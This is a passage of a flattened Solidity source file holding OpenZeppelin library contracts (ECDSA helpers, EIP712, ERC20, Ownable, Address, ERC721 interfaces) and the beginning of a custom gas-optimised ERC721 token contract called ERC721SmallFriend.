* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File: @openzeppelin/contracts/utils/cryptography/draft-EIP712.sol
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)
pragma solidity ^0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
address private immutable _CACHED_THIS;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_CACHED_THIS = address(this);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: ERC721SmallFriend.sol
pragma solidity ^0.8.9;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension and the Enumerable extensions.
*
* This implementation is called `Slim` because the gas usage is extremely saved in the minting, transfer operations.
* But as a drawback, those view functions like balanceOf and any functions from IERC721Enumerable
* will be costly because it needs heavy iterations over the array that stores the token array.
*/
abstract contract ERC721SmallFriend is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
uint256 private _burntTokens = 0;
address[] private _tokenOwners;
mapping(uint256 => address) _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721SmallFriend: balance query for the zero address"
);
uint256 balance = 0;
for (uint256 i = 0; i < _tokenOwners.length; i++) {
if (_tokenOwners[i] == owner) {
balance++;
}
}
return balance;
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721SmallFriend: owner query for nonexistent token"
);
address owner = _tokenOwners[tokenId];
require(
owner != address(0),
"ERC721SmallFriend: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
